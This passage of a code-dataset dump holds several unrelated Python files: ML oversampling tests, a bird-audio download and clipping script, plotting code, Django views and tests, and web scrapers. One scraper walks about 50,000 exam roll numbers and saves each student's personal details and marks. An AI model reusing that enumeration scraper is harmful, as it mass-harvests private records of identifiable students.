shutil.rmtree(save_paths)\n except Exception as e:\n f = open(\"log.txt\", \"a\")\n logstr = str(vds_list[i]) + \",\" + str(e)\n shutil.rmtree(save_paths)\n f.write(logstr + \"\\n\")\n f.close()\n","sub_path":"req_test.py","file_name":"req_test.py","file_ext":"py","file_size_in_byte":5406,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"454292799","text":"\"\"\"\nTest the base module.\n\"\"\"\n\nfrom itertools import product\nfrom collections import OrderedDict, Counter\nfrom unittest import mock\n\nimport pytest\nimport numpy as np\nfrom sklearnext.cluster import KMeans\n\nfrom ...over_sampling import RandomOverSampler, SMOTE, GeometricSMOTE\nfrom ...cluster import SOM\nfrom ...utils.validation import _TrivialOversampler\nfrom ..distribution import DensityDistributor\n\nX = np.array(list(product(range(5), range(4))))\ny = np.array([0] * 10 + [1] * 6 + [2] * 4)\nLABELS = np.array([0, 1, 1, 1, 0, 2, 2, 2, 0, 2, 2, 2, 0, 3, 3, 3, 0, 3, 3, 3])\nNEIGHBORS = [(0, 1), (0, 2), (0, 3), (1, 2), (2, 3)]\n\n\n@pytest.mark.parametrize('clusterer', [None, KMeans(), SOM()])\ndef test_fit(clusterer):\n \"\"\"Test the fit method of the extended base oversampler.\"\"\"\n oversampler = _TrivialOversampler(clusterer=clusterer).fit(X, y)\n assert oversampler.sampling_strategy_ == OrderedDict({1: 4, 2: 6})\n\n@pytest.mark.parametrize('clusterer', [None, KMeans(), SOM()])\ndef test_fit(clusterer):\n \"\"\"Test the fit and resample method of the extended base oversampler.\"\"\"\n oversampler = _TrivialOversampler(clusterer=clusterer)\n X_resampled, y_resampled = oversampler.fit_resample(X, y)\n assert hasattr(oversampler, 'distributor_')\n assert hasattr(oversampler.distributor_, 'intra_distribution_')\n assert hasattr(oversampler.distributor_, 'inter_distribution_')\n if isinstance(clusterer, SOM):\n assert len(oversampler.distributor_.inter_distribution_) > 0\n else:\n assert len(oversampler.distributor_.inter_distribution_) == 0\n\n\n@pytest.mark.parametrize('X,y,oversampler_class', [\n (np.array([(0, 0), (1, 1), (2, 2), (3, 3), (4, 4)]), np.array([0, 0, 1, 1, 1]), RandomOverSampler),\n (np.array([(0, 0), (2, 2), (3, 3), (4, 4)]), np.array([0, 1, 1, 1]), RandomOverSampler),\n (np.array([(0, 0), (1, 1), (2, 2), (3, 3), (4, 4)]), np.array([0, 0, 1, 1, 1]), SMOTE),\n (np.array([(0, 0), (2, 2), (3, 3), (4, 4)]), np.array([0, 1, 1, 1]), SMOTE),\n (np.array([(0, 0), (1, 1), (2, 2), (3, 3), (4, 4)]), np.array([0, 0, 1, 1, 1]), GeometricSMOTE),\n (np.array([(0, 0), (2, 2), (3, 3), (4, 4)]), np.array([0, 1, 1, 1]), GeometricSMOTE)\n])\ndef test_intra_sample_corner_cases(X, y, oversampler_class):\n \"\"\"Test the _intra_sample method of the extended base oversampler\n for various corner cases and oversamplers.\"\"\"\n oversampler = oversampler_class()\n oversampler.fit(X, y)._apply_clustering_distribution(X, y)\n X_new, y_new = oversampler._intra_sample(X, y, oversampler.sampling_strategy_.copy())\n y_count = Counter(y)\n assert X_new.shape == (y_count[1] - y_count[0], X.shape[1])\n\n\n# def test_intra_sample():\n# \"\"\"Test the _intra_sample method of the extended base oversampler.\"\"\"\n# oversampler = SMOTE(clusterer=KMeans(), distributor=DensityDistributor(filtering_threshold=3.0, distances_exponent=0, sparsity_based=False))\n# oversampler.fit(X, y)\n# initial_sampling_strategy = oversampler.sampling_strategy_\n# k_neighbors = oversampler.k_neighbors\n# X_new, y_new = oversampler._intra_sample(X, y, oversampler.sampling_strategy_)\n# assert oversampler.sampling_strategy_ == initial_sampling_strategy\n# assert oversampler.k_neighbors == k_neighbors\n\n\n# def test_inter_sample():\n# \"\"\"Test the _inter_sample method of the extended base oversampler.\"\"\"\n# oversampler = SMOTE(clusterer=KMeans(), distributor=DensityDistributor(filtering_threshold=3.0, distances_exponent=0, sparsity_based=False))\n# oversampler.fit(X, y,)\n# initial_sampling_strategy = oversampler.sampling_strategy_\n# k_neighbors = oversampler.k_neighbors\n# X_new, y_new = oversampler._inter_sample(X, y, initial_sampling_strategy)\n# assert oversampler.sampling_strategy_ == initial_sampling_strategy\n# assert oversampler.k_neighbors == k_neighbors\n\n\n \n","sub_path":"sklearnext/over_sampling/tests/test_base.py","file_name":"test_base.py","file_ext":"py","file_size_in_byte":3853,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"341606994","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 10 08:41:38 2019\n\n@author: tim\n\"\"\"\n\nimport functions\nimport parameters\nimport requests\nimport sys\nimport json\nfrom pydub import AudioSegment\nimport os\n\ndevice_name = 'fpF7B9AFNn6hvfVgdrJB'\nspecified_tag = 'more pork - classic'\nout_file_path_name = 'list_of_tags2.txt'\n\nwavs_for_AviaNZ_folder = 'Analysis/wavs_for_AviaNZ/'\ndownloaded_recordings_folder = 'downloaded_recordings/all_recordings/'\n#recordings_folder = downloaded_recordings_folder + device_name + '/night_recording/'\n\n\ndef get_audio_recordings_with_tags_information_from_server(user_token, device_id, offset):\n print('Retrieving recordings basic information from Cacophony Server\\n')\n print('offset is ', offset)\n url = parameters.server_endpoint + parameters.query_available_recordings\n \n where_param = {}\n# where_param['type'] = recording_type \n where_param['duration'] = 59,60,61,62\n where_param['DeviceId'] = device_id\n json_where_param = json.dumps(where_param)\n #querystring = {\"tagMode\":\"human-only\", \"where\":json_where_param} \n# querystring = {\"where\":json_where_param} \n querystring = {\"offset\":offset, \"where\":json_where_param} \n headers = {'Authorization': user_token} \n\n resp = requests.request(\"GET\", url, headers=headers, params=querystring)\n \n if resp.status_code != 200:\n # This means something went wrong.\n print('Error from server is: ', resp.text)\n sys.exit('Could not download file - exiting') \n \n \n data = resp.json()\n# print('data is ', data)\n \n recordings = data['rows']\n \n return recordings\n\ndef get_device_id_using_device_name(device_name):\n user_token = functions.get_cacophony_user_token()\n url = parameters.server_endpoint + parameters.devices\n \n headers = {'Authorization': user_token} \n\n resp = requests.request(\"GET\", url, headers=headers)\n \n if resp.status_code != 200:\n # This means something went wrong.\n print('Error from server is: ', resp.text)\n sys.exit('Could not download file - exiting')\n \n data = resp.json()\n\n devices = data['devices'] \n rows = devices['rows']\n for row in rows:\n devicename = row['devicename'] \n if devicename == device_name:\n device_id = row['id']\n return device_id \n\n\n \ndef retrieve_list_of_recordings_with_specified_tag(device_name, specified_tag):\n print('retrieve_list_of_recordings_with_specified_tag')\n user_token = functions.get_cacophony_user_token()\n device_id = get_device_id_using_device_name(device_name)\n \n recording_basic_information = []\n offset = 0\n while True: \n# while True and offset < 2000: # for testing\n page_of_recording_basic_information = get_audio_recordings_with_tags_information_from_server(user_token, device_id, offset)\n recording_basic_information += page_of_recording_basic_information\n if (len(page_of_recording_basic_information) > 0):\n offset+=300\n# print('offset ', offset)\n else:\n break\n# print(recording_basic_information)\n \n\n list_of_recording_ids_with_specified_tag = []\n for item in recording_basic_information:\n# print(item)\n recording_id = item['id']\n# print('recording_id ', recording_id)\n \n tags = item['Tags']\n# print('tags ', tags)\n# recording_has_morepork_classic_tag = False\n for tag in tags:\n# print('tag is ', tag)\n what = tag['what']\n print('what is ', what)\n if what == 'more pork - classic':\n list_of_recording_ids_with_specified_tag.append(recording_id)\n break\n \n \n print('List of recordings with ', specified_tag, ' tags: ', list_of_recording_ids_with_specified_tag)\n print('Number of recordings with ', specified_tag, ' tags: ', str(len(list_of_recording_ids_with_specified_tag)))\n return list_of_recording_ids_with_specified_tag\n\ndef retrieve_full_recording_info(list_of_recording_ids):\n print('starting retrieve_full_recording_info')\n list_of_full_information_of_recordings = []\n \n for recording_id in list_of_recording_ids: \n print('\\tRetrieve_full_recording_info for ', recording_id)\n \n # get the recording information\n recording_data_for_single_recording = get_recording_information_for_a_single_recording(recording_id)\n \n # append the recording information to list\n list_of_full_information_of_recordings.append(recording_data_for_single_recording)\n \n# # save list to disk\n# with open(out_file_path_name, 'w') as json_file: \n# json.dump(list_of_full_information_of_recordings_with_tags, json_file)\n \n return list_of_full_information_of_recordings\n\ndef get_recording_information_for_a_single_recording(recording_id):\n user_token = functions.get_cacophony_user_token()\n\n get_a_token_for_recording_endpoint = parameters.server_endpoint + parameters.get_information_on_single_recording + str(recording_id)\n\n headers = {'Authorization': user_token}\n\n resp_for_getting_a_recordingToken = requests.request(\"GET\", get_a_token_for_recording_endpoint, headers=headers)\n if resp_for_getting_a_recordingToken.status_code != 200:\n print('Could not get download token')\n return None\n recording_data_for_single_recording = resp_for_getting_a_recordingToken.json()\n \n return recording_data_for_single_recording\n\ndef extract_tags_for_single_audio_recording_from_single_recording_information(recording_info_for_single_recording, specified_tag): \n tag_to_return = {}\n tags_to_return = []\n recording = recording_info_for_single_recording['recording']\n recording_id = recording['id']\n tags = {'tags':recording['Tags']} \n tags2 = tags['tags']\n for tag in tags2:\n tag_to_return['recording_id'] = recording_id\n# what = tag['what']\n tag_to_return['what'] = tag['what']\n# start_time = tag['startTime']\n tag_to_return['startTime'] = tag['startTime']\n# print('tag_to_return ', tag_to_return)\n tags_to_return.append(tag_to_return)\n \n# print(tags2)\n \n return tags_to_return\n \ndef extract_tags_from_list_of_full_recording_info(full_recording_info_of_recordings_with_specified_tag, specified_tag):\n print('extract_tags_from_list_of_full_recording_info')\n all_specified_tags = []\n for recording_info_for_single_recording in full_recording_info_of_recordings_with_specified_tag:\n tags = extract_tags_for_single_audio_recording_from_single_recording_information(recording_info_for_single_recording, specified_tag)\n for tag in tags:\n if tag['what'] == specified_tag:\n# print('Found a ', specified_tag, ' tag')\n# print(tag)\n all_specified_tags.append(tag) \n \n \n return all_specified_tags\n\ndef create_wav_clips_from_tags_file(tags_file): \n \n with open(out_file_path_name, 'r') as f:\n tags = json.load(f)\n \n for tag in tags:\n try:\n recording_id = tag['recording_id']\n start_time = tag['startTime']\n clip_start = 1000 * start_time\n clip_end = clip_start + (1000 * 1.5) \n \n filename = str(recording_id) + '.m4a'\n print('filename is ', filename)\n audio_in_path = './' + downloaded_recordings_folder + filename\n \n if not os.path.exists(audio_in_path):\n print('Do not have recording ', audio_in_path)\n continue\n \n print('About to segment recording clip ', audio_in_path) \n song = AudioSegment.from_file(audio_in_path, \"m4a\")\n recording_clip = song[int(clip_start):int(clip_end)]\n \n \n output_path = wavs_for_AviaNZ_folder + str(recording_id) + '_' + str(start_time) + '.wav'\n print('About to create clip ', output_path)\n \n recording_clip.export(output_path, format=\"wav\")\n print('Created clip')\n except Exception as e:\n print(e, '\\n')\n print('Could not create clip ', str(start_time), ' from ', str(recording_id))\n \ndef get_recording_from_server(audio_out_path, recording_id):\n successfully_retrieved_recording = False\n try:\n# recording_local_filename = downloaded_recordings_folder + str(recording_id) + '.m4a'\n token_for_retrieving_recording = get_token_for_retrieving_recording(str(recording_id))\n if token_for_retrieving_recording is None:\n return False\n \n print('\\tDownloading recording', str(recording_id),'\\n')\n url = parameters.server_endpoint + parameters.get_a_recording\n querystring = {\"jwt\":token_for_retrieving_recording} \n \n resp_for_getting_a_recording = requests.request(\"GET\", url, params=querystring)\n \n if resp_for_getting_a_recording.status_code != 200:\n # This means something went wrong.\n print('Error from server is: ', resp_for_getting_a_recording.text)\n return False\n# sys.exit('Could not download file - exiting')\n \n #recording_local_filename = './'+ parameters.downloaded_recordings_folder + '/' + recording_id + '.mp4a' \n with open(audio_out_path, 'wb') as f: \n f.write(resp_for_getting_a_recording.content)\n \n print('Downloaded recording ', recording_id)\n successfully_retrieved_recording = True\n# else:\n# print('\\t\\tAlready have recording ', str(recording_id) , ' - so will not download again\\n')\n except Exception as e:\n print(e, '\\n')\n print('\\t\\tUnable to download recording ' + str(recording_id), '\\n') \n \n return successfully_retrieved_recording\n\ndef get_token_for_retrieving_recording(recording_id):\n recording_download_token = None\n user_token = functions.get_cacophony_user_token()\n\n get_a_token_for_recording_endpoint = parameters.server_endpoint + parameters.get_a_token_for_getting_a_recording_url + recording_id\n\n headers = {'Authorization': user_token}\n\n resp_for_getting_a_recordingToken = requests.request(\"GET\", get_a_token_for_recording_endpoint, headers=headers)\n if resp_for_getting_a_recordingToken.status_code != 200:\n print('resp_for_getting_a_recordingToken ', resp_for_getting_a_recordingToken)\n# sys.exit('Could not get download token - exiting')\n recording_data = resp_for_getting_a_recordingToken.json()\n recording_download_token = recording_data['downloadFileJWT']\n \n return recording_download_token \n\ndef main():\n \n# list_of_recordings_with_specified_tag = retrieve_list_of_recordings_with_specified_tag(device_name, specified_tag)\n# full_recording_info_of_recordings_with_specified_tag = retrieve_full_recording_info(list_of_recordings_with_specified_tag)\n# print(full_recording_info_of_recordings_with_specified_tag)\n# all_specified_tags = extract_tags_from_list_of_full_recording_info(full_recording_info_of_recordings_with_specified_tag, specified_tag)\n# print(all_specified_tags)\n#\n#\n# with open(out_file_path_name, 'w') as json_file: \n# json.dump(all_specified_tags, json_file)\n \n # For each tag, find local copy of recording\n create_wav_clips_from_tags_file(out_file_path_name)\n \n \n \n \n \n \n \nmain()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"python/code/Retrieve_morepork_tags_from_server.py","file_name":"Retrieve_morepork_tags_from_server.py","file_ext":"py","file_size_in_byte":11713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"51436181","text":"# -*- coding: utf-8 -*-\nimport sys\nsys.path.insert(0, '../../../')\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport act.viz\nimport joypy\nimport glob\ncolors = act.viz.personal_style()\n\n# Define the experimental parameters. \nDATE = '20190219'\nRUN_NO = 1\npromoter = '27yfp'\n\n# Load the fold-change data\nfc_data = pd.read_csv(f'output/{DATE}_r{RUN_NO}_{promoter}_fold_change.csv')\n\n# Define the list of all flow files.\ngated = glob.glob(f'../../../data/flow/csv/{DATE}_r{RUN_NO}_{promoter}_dilution*.csv')\n\n# Plot the mean fold-change. \nfig, ax = plt.subplots(1, 1)\n_fc = fc_data[fc_data['strain']=='dilution']\n_fc.sort_values(by=['xan_mgml'], inplace=True)\nax.plot(_fc['xan_mgml'], _fc['fold_change'], '--o')\nax.set_xlabel('xanthosine [mg/mL]')\nax.set_ylabel('fold-change')\nplt.tight_layout()\nplt.savefig('output/foldchange.png')\n\ndfs = []\nfor f in gated:\n _, _, _, _, _, xan = f.split('/')[-1].split('_')\n xan = float(xan.split('mgml')[0])\n data = pd.read_csv(f)\n data = data[data['gate']==1].copy()\n data['xan_mgml'] = xan\n dfs.append(data)\ndists = pd.concat(dfs)\n\n\n\n\n# Write my own ridgeline plot generator\nn_conc = len(dists['xan_mgml'].unique())\n\n\n# Set the bins \nbins = np.linspace(np.round(dists['FITC-H'].min()), np.round(dists['FITC-H'].max()), 100) \n\nfig, ax = plt.subplots(n_conc, 1, figsize=(3, 6), sharex=True)\naxes = {n:ax[i] for i, n in enumerate(np.sort(dists['xan_mgml'].unique()))}\naxes \nfor g, d in dists.groupby(['xan_mgml']):\n _ = axes[g].hist(d['FITC-H'], bins=bins, density=True)\n _ = axes[g].set_yticks([])\n _ = axes[g].set_ylabel(f'{g}')\n \nax[-1].set_xlabel('fluorescence [a.u.]')\nfor a in ax:\n a.set_xlim([0, 1E5])\n\nplt.tight_layout()\nfig.text(-0.05, 0.55, 'xanthosine [mg/mL]', fontsize=9, rotation='vertical',\n backgroundcolor='#f1f2f6')\nplt.savefig('output/distributions.png', bbox_inches='tight')\n","sub_path":"code/processing/20190219_r1_27yfp_xan_titration/viz.py","file_name":"viz.py","file_ext":"py","file_size_in_byte":1916,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"177320998","text":"# Copyright 2016-2018 Dirk Thomas\n# Licensed under the Apache License, Version 2.0\n\nfrom collections import defaultdict\nimport os\n\nfrom colcon_core.location import get_config_path\n\nmetadata_by_name = defaultdict(dict)\nmetadata_by_path = defaultdict(dict)\n\n\ndef get_metadata_path():\n \"\"\"\n Get the path where metadata is stored.\n\n :rtype: Path\n \"\"\"\n return get_config_path() / 'metadata'\n\n\ndef get_metadata_files(path=None):\n \"\"\"\n Get the paths of all metadata files.\n\n The metadata path is recursively being crawled for files ending in `.meta`.\n Directories starting with a dot (`.`) are being ignored.\n\n :rtype: list\n \"\"\"\n metadata_path = path or get_metadata_path()\n if not metadata_path.is_dir():\n return []\n\n files = []\n for dirpath, dirnames, filenames in os.walk(\n str(metadata_path), followlinks=True\n ):\n # skip subdirectories starting with a dot\n dirnames[:] = filter(lambda d: not d.startswith('.'), dirnames)\n dirnames.sort()\n\n for filename in sorted(filenames):\n if not filename.endswith('.meta'):\n continue\n path = os.path.join(dirpath, filename)\n files.append(path)\n return files\n","sub_path":"colcon_metadata/metadata/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"346468874","text":"\"\"\"\nScript to scrape result of 2016 12thcomm stduents who passed\nfrom BSER website and store them in a file seperated by \\n with a List of Lists\n\"\"\"\nfrom mechanize import Browser\nfrom bs4 import BeautifulSoup\nimport json\nimport sys\n\n\noutputfile = \"RBSE12comm.txt\";\n#browser from machenize\nbr=Browser();\n# Browser options\nbr.set_handle_equiv(True)\n#br.set_handle_gzip(True)\nbr.set_handle_redirect(True)\nbr.set_handle_referer(True)\nbr.set_handle_robots(False)\n\n#Roll.No. Range. 2700001 - 2751525\nrn_start = 2744612;\nrn_end = 2751526;\n\ngotError = False;\n\n#list of data\noutfile = open(outputfile, \"a+\")\nfor rn in xrange(rn_start,rn_end):\n print(\"##\")\n data = [];\n # print(rn)\n #print(gotError)\n #open this URL in browser\n try:\n br.open(\"http://rajresults.nic.in/com2016bser.htm\")\n except Exception as e : #catch evrything else print that and continue\n print(e)\n gotError = True #set it true so we can skip form sumbission and data extraction\n\n # if we don't have any Error\n if gotError == False:\n #go to this form\n br.select_form(\"FrontPage_Form1\")\n #fill in roll no in Form\n br[\"roll_no\"]=str(rn)\n #sumbit that form and collect resposne\n try:\n br.submit()\n except Exception as e:\n print(e)\n\n #do some Magic and get Data out\n html=br.response().read()\n\n #get all the tables\n table_data = [[cell.text for cell in row(\"td\")]\n for row in BeautifulSoup(html,'lxml')(\"tr\")]\n #print(len(table_data))\n # if student is passed then exam then this is true\n if len(table_data) == 18:\n print(rn)\n #strip all personal details\n for value in xrange(2,7):\n table_data[value] = [i.strip() for i in table_data[value]]\n table_data[value] = [i.encode('utf-8') for i in table_data[value]]\n data.append(table_data[value])\n #print(table_data[value])\n\n #strip marks\n for value in xrange(9,15):\n table_data[value] = [i.strip() for i in table_data[value]]\n table_data[value] = [i.encode('utf-8') for i in table_data[value]]\n if(len(table_data[value]) > 2):\n del table_data[value][1:-1]\n data.append(table_data[value])\n #print(table_data[value])\n #for val in data:\n # print(val)\n #print(data[0])\n json.dump(data,outfile)\n outfile.write(\"\\n\")\n data = [];\n #pass if student failed the exam\n pass\n #if we got Error set global gotError to False\n if(gotError == True):\n gotError = False\n #print(\"set gotError to False\")\n #print(gotError)\n # print(\"#\")\n pass\noutfile.close()\nprint(\"file closed\")\n","sub_path":"12thcomm/12thcomm.py","file_name":"12thcomm.py","file_ext":"py","file_size_in_byte":2888,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"545391499","text":"import scrapy\nfrom time import sleep\n\n\nclass homeDepotSpider(scrapy.Spider):\n name = \"homedepot_spider\"\n page_number = 24\n\n start_urls = [\n \"https://www.homedepot.com/b/Featured-Products-Red-White-and-Blue-Savings/N-5yc1vZ2fkoklb?browsestoreoption=2\"]\n\n def parse(self, response):\n # Product name\n products = response.css(\n \".pod-plp__description a\").xpath(\"@href\").extract()\n prod = [item.strip('/p/') for item in products]\n spaced = [prod.split('-') for prod in prod]\n model = [item[:-2] for item in spaced]\n product = [\" \".join(item) for item in model]\n\n # Sale Price:\n sales = response.css(\".price__numbers::text\").extract()\n sales_strip = [item.replace(' ', '').strip() for item in sales]\n sale_price = list(filter(None, sales_strip))\n del sale_price[1::2]\n sale_decimal = response.css(\n \".price__numbers span:nth-child(2)::text\").extract()\n del sale_decimal[1::2]\n final_sale = [m+\".\" + n for m, n in zip(sale_price, sale_decimal)]\n\n row_data = zip(product, final_sale)\n for item in row_data:\n scraped_item = {\n 'product': item[0],\n 'sale_price': item[1],\n }\n\n yield scraped_item\n next_page = \"https://www.homedepot.com/b/Featured-Products-Red-White-and-Blue-Savings/N-5yc1vZ2fkoklb?browsestoreoption=2&Nao=\" + \\\n str(homeDepotSpider.page_number)+\"&Ns=None\"\n\n sleep(10)\n\n if homeDepotSpider.page_number <= 696:\n homeDepotSpider.page_number += 24\n yield response.follow(next_page, callback=self.parse)\n","sub_path":"scrapyhomeDepot/spiders/homedepot_spider.py","file_name":"homedepot_spider.py","file_ext":"py","file_size_in_byte":1677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"586582751","text":"import json\n\nfrom django.shortcuts import render, redirect, get_object_or_404\nfrom django.http import Http404, HttpResponseForbidden\nfrom django.views.generic import View\nfrom django.forms.models import model_to_dict\nfrom django.conf import settings\n\nfrom django.contrib.auth.models import User\nfrom django.contrib.auth.decorators import login_required\n\nfrom djangular.views.mixins import JSONResponseMixin, HttpResponseBadRequest\n\nfrom django.conf import settings\nfrom apps.utils import utils\nfrom models import *\nimport forms\n\ndef ng_trade(request):\n return render(request, 'ng-trade.html')\n\ndef serialize_category(category):\n merchants = category.merchants.all()\n mer_list = []\n for mer in merchants:\n mer = model_to_dict(mer, fields=['id', 'name', 'website', 'short_description'])\n mer_list.append(mer)\n categories = category.child_categories.all()\n cat_list = []\n for cat in categories:\n cat_list.append(serialize_category(cat))\n return {'id': category.pk,\n 'name': category.name,\n 'merchants': mer_list,\n 'child_categories': cat_list}\n\nclass MerchantListView(JSONResponseMixin, View):\n def get_merchants(self):\n categories = Category.objects.filter(parent_category__isnull=True)\n cat_list = []\n for cat in categories:\n cat_list.append(serialize_category(cat))\n return cat_list\n\nclass MerchantDetailView(JSONResponseMixin, View):\n # TODO remove this or merchant_id param and od the same in donations\n # def get(self, request, *args, **kwargs):\n # kwargs.update(action='get_merchant')\n # return super(MerchantDetailView, self).get(self, request, *args, **kwargs)\n def get_merchant(self, merchant_id=None):\n mer = Merchant.objects.get(pk=self.kwargs['mer_id'])\n return model_to_dict(mer, fields=[], exclude=[])\n\ndef send_new_mer_mails(mer):\n context = {'merchant': mer}\n\n admins = User.objects.filter(groups__name='trade_admin')\n if (admins.count() <= 0):\n admins = User.objects.filter(is_superuser=True)\n admin_mails = \"\"\n for user in admins:\n admin_mails += user.email + ', '\n # Remove the last ', '\n admin_mails = admin_mails[:-2]\n\n utils.send_html_mail('mail/admin_mail.html', context, \n \"New merchant registration: %s\" % mer.name, \n mer.email,\n admin_mails)\n\n utils.send_html_mail('mail/merchant_mail.html', context, \n \"Thanks for registering your business !\", \n 'noreply@freicoin.org', mer.email)\n\n@login_required\ndef mer_edit(request, id=None, template_name='new_organiation.html'):\n\n if id:\n mer = get_object_or_404(Merchant, pk=id)\n if (not request.user.has_perm(\"trade.change_merchant\")\n and mer.user != request.user):\n return HttpResponseForbidden()\n else:\n mer = Merchant(user=request.user)\n\n form = forms.MerchantForm(request.POST or None, instance=mer)\n\n if form.is_valid():\n\n mer = form.save()\n mer.save()\n\n mer.email = request.user.email\n send_new_mer_mails(mer)\n\n return redirect('mer_thanks')\n\n return render(request, template_name, {'form': form})\n\ndef thanks(request):\n return render(request, 'thanks.html')\n\n","sub_path":"apps/trade/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"354470989","text":"from shapely.geometry import Polygon\nimport matplotlib.pyplot as plt\nimport math\nimport numpy as np\nimport pandas as pd\n\ncity = 'london'\n\nq_postproc = pd.read_csv(f'/Users/alexanderholstrup/git/VisualPlaceRecognition/cnnimageretrieval-pytorch/notebooks/data/IT5/MSEAndContrastive400/Train/Images/{city}/query/postprocessed.csv')\nq_raw = pd.read_csv(f'/Users/alexanderholstrup/git/VisualPlaceRecognition/cnnimageretrieval-pytorch/notebooks/data/IT5/MSEAndContrastive400/Train/Images/{city}/query/raw.csv')\n\ndb_postproc = pd.read_csv(f'/Users/alexanderholstrup/git/VisualPlaceRecognition/cnnimageretrieval-pytorch/notebooks/data/IT5/MSEAndContrastive400/Train/Images/{city}/database/postprocessed.csv')\ndb_raw = pd.read_csv(f'/Users/alexanderholstrup/git/VisualPlaceRecognition/cnnimageretrieval-pytorch/notebooks/data/IT5/MSEAndContrastive400/Train/Images/{city}/database/raw.csv')\n\n\n# view_distance: How far out can we look?\nVIEW_DISTANCE = 50 #Meters \n\n# view_angle: what is our field of view?\nVIEW_ANGLE = math.pi / 2\n\n\ndef to_radians(angle):\n cartesian_angle = (450 - angle) % 360\n return cartesian_angle * math.pi / 180\n\ndef calc_angles(ca, view_angle = VIEW_ANGLE):\n return (ca - view_angle / 2, ca + view_angle / 2)\n\ndef calc_next_point(x, y, angle, view_distance=VIEW_DISTANCE):\n return (x + view_distance * math.cos(angle), y + view_distance * math.sin(angle))\n\ndef iou(polygon1, polygon2):\n intersection = polygon1.intersection(polygon2)\n return intersection.area / (polygon1.area + polygon2.area - intersection.area)\n\ndef ious(query_polygon, db_polygon):\n return [iou(query_polygon,polygon) for polygon in db_polygon]\n\ndef field_of_view(points):\n polygons = []\n for point in points:\n angle1, angle2 = calc_angles(point[1])\n\n point1 = calc_next_point(point[0][0], point[0][1], angle1)\n point2 = calc_next_point(point[0][0], point[0][1], angle2)\n points = [point[0], point1, point2]\n polygons.append(Polygon(points))\n return polygons\n \ndef plot_fov(polygon_list):\n Xq = np.array([list(i) for i in polygon_list[0].exterior.coords])\n plt.scatter(Xq[:, 0], Xq[:, 1], facecolor=(0,1,0,0.5))\n plt.scatter(Xq[0, 0], Xq[0, 1], facecolor=(0,0,1,0.5))\n t1 = plt.Polygon(Xq[:3,:], facecolor=(0,1,0,0.5))\n plt.gca().add_patch(t1)\n\n for polygon in polygon_list[1:]:\n Xp = np.array([list(i) for i in polygon.exterior.coords])\n plt.scatter(Xp[:, 0], Xp[:, 1], facecolor=(1,0,0,0.5))\n plt.scatter(Xp[0, 0], Xp[0, 1], facecolor=(0,0,1,0.5))\n t1 = plt.Polygon(Xp[:3,:], facecolor=(1,0,0,0.3))\n plt.gca().add_patch(t1)\n\n plt.xlim((min(Xq[:,0]) - 50, max(Xq[:,0]) + 50))\n plt.ylim((min(Xq[:,1]) - 50, max(Xq[:,1]) + 50))\n plt.show()\n\ndef get_coordinate(key, postproc, raw):\n df = postproc.loc[postproc['key'] == key]\n northing, easting = df['northing'].iloc[0], df['easting'].iloc[0]\n df = raw.loc[raw['key'] == key]\n ca = df['ca'].iloc[0]\n print(df['lat'].iloc[0], ',',df['lon'].iloc[0])\n return [(easting, northing), to_radians(ca)]\n\ndef get_coordinates(keys):\n points = [get_coordinate(keys[0], q_postproc, q_raw)]\n for key in keys[1:]:\n points.append(get_coordinate(key, db_postproc, db_raw))\n return points\n\n#keys = ['0NvpSEDZd8Ll_N6YDaf8dA','EvWyELiNjmcgPV5Mu6P8ew','LgZgiqaR-Vm4n8Ly8RtI-A']#,'kvRQa8GKJtt73uwhBGNxSw','_rOfyHfpkLW39p1uREzQmA','94GS7xEn7ySg7yLdlVfkKw','Rjptg8UTfmJkIiJjPy-I5w']\n#keys = ['KsiCcR_YbcQnNAsKafSOng', 'tFmc-wK7A0eigPf9KhLHVQ', 'g7wfAspdwkiDfvknUdkZgg', 'pAG4DSoggEl5WVYUWjAEIA', 'l40wawAhi2TL-CZuzfrYig'] #1631\n#keys = ['MRfIz0MpoUP5LApkt5GwhA', 'TK6RLS3e8Oa7wqciYC75Ow', 'Tjsn1erZ7GdbeAJAZfDYDA', 'tqin7Zzu0dCGFZmrzhQCCw', 'BaaM4Qvf3VMvjiG1apeFWQ'] #3700\nkeys = ['DDb7lapO-czjhb6o_J1MxA', 'zFzarHuCvI73RJf_7MlkLQ', 'VrJfd57eglX5LskATygIiQ', 'XF9EaQsEE5V3WyO9sNu-6A', 'KiFXKBjFgBIOondz8Rm2Cg'] #3220\n\npoints = get_coordinates(keys)\npol = field_of_view(points)\nprint(ious(pol[0], pol[1:]))\nplot_fov(pol)","sub_path":"cirtorch/utils/view_angle.py","file_name":"view_angle.py","file_ext":"py","file_size_in_byte":3991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"7191040","text":"from django.test import TestCase\nimport unittest\nfrom .models import Insumos\n\n# Create your tests here.\n\nclass TestBaseDatos(unittest.TestCase):\n\n def test_guardar_insumo(self):\n valor = 0\n try:\n insumo = Insumos(\n nombre=\"perfume\",\n descripcion=\"200ml\",\n precio=4000,\n stock=1\n )\n insumo.save()\n valor = 1\n except:\n valor = 0\n self.assertEqual(valor,1)\n \n\n def test_Eliminar_insumo(self):\n valor = 0\n try:\n insumo = Insumos(\n nombre=\"alargador\",\n )\n insumo.delete()\n valor = 1\n except:\n valor = 0\n self.assertEqual(valor,1)\n\n\n\n\nif __name__ == \"__main__\":\n unittest.main() 